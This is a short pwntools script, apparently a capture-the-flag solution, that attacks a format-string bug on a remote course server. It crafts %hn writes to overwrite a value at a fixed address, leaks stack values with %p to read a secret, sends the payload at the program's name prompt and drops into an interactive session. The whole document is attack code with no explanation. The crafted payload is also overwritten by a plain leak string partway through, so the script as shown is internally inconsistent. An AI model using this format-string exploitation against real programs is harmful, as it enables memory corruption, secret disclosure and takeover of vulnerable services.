from pwn import *

r = remote('csie.ctf.tw', 10129)
a = 0x6012ac
libc_start = 0x6011e0
diff = 0xface - 0xb00c

# set a
payload = '%' + str(0xb00c) + 'c%22$hn'
payload += '%' + str(diff) + 'c%23$hn'
# read secret
payload += '@@@@@%8$p@@@@@%9$p'

payload = '%p\n' * 100
payload = payload.ljust(0x40,'\x00') + p64(a) + p64(a+2)

r.sendafter('name ?', payload)
r.interactive()
r.close()
